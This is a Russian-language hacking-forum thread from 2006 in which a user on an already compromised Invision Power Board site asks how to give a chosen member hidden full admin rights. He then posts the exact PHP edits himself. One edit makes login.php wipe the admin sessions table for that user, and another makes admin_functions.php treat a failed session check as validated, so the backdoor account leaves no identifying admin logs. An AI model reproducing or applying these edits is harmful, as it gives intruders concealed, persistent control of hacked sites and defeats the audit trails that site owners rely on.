Форумы Добавляем админа в Инвижин.

Discussion in 'Уязвимости CMS/форумов' started by Ben, 13 Feb 2006.

  1. Ben

    Ben Banned

    Joined:
    9 Dec 2005
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Форум: Invision Power Board версии 2++. Форум, сайт взломаны. Лично я не большой спец по инвижену, поэтому пришел к вам с тупым вопросом.

    Допустим, есть юзер, у которого по ibf_members id=111.

    Задача: подправить скрипты форума таким образом, чтобы юзер c id=111 имел полные админские полномочия, но при этом без просмотра скриптов этого никак нельзя было б увидеть. То есть, ни добавления в группы админов, ни записей в таблицы ibf_admin_sessions или ibf_admin_logs, ни отображения в Admin_CP.

    Подскажите, пожалуйста, что править. Спасибо за внимание и ответы.
     
  2. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Поищи в поиске. Там все четко было расписано. На сколько я помню - надо в двух местах if подправить.
     
  3. Ben

    Ben Banned

    Joined:
    9 Dec 2005
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Если ты об этой теме:
    http://forum.antichat.ru/threadnav11615-1-10.html

    то там решается чуть другая задача. Мне нужно, чтобы в ibbadmin_sessions и в ibbadmin_logs ничего не записывалось.
     
  4. Ben

    Ben Banned

    Joined:
    9 Dec 2005
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Разобрался. Если кому нужно, то после того, как вы наложили на юзера маску админа, править надо следующее:

    1) В файле source/action_admin/login.php:
    СТРОКУ
    ---
    $this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
    ---
    ЗАМЕНИТЬ НА
    ---
    if ($mem['id'] == 111) {$this->ipsclass->DB->query("DELETE FROM ibf_admin_sessions WHERE 1");} else {

    $this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");

    }

    ---
    где 111 - id юзера.

    2) В файле source/lib/admin_functions.php
    СТРОКИ
    ---
    $this->ipsclass->admin_session['_session_validated'] = 0;
    $this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
    ---
    ЗАМЕНИТЬ НА
    ---
    $this->ipsclass->admin_session['_session_validated'] = 1;
    $this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
    ---

    После этого информация о вашем "черном кардинале" не будет сохраняться в таблицу ibf_admin_sessions, да и записи в ibf_admin_logs тоже будут вестись без идентификации.
     
    1 person likes this.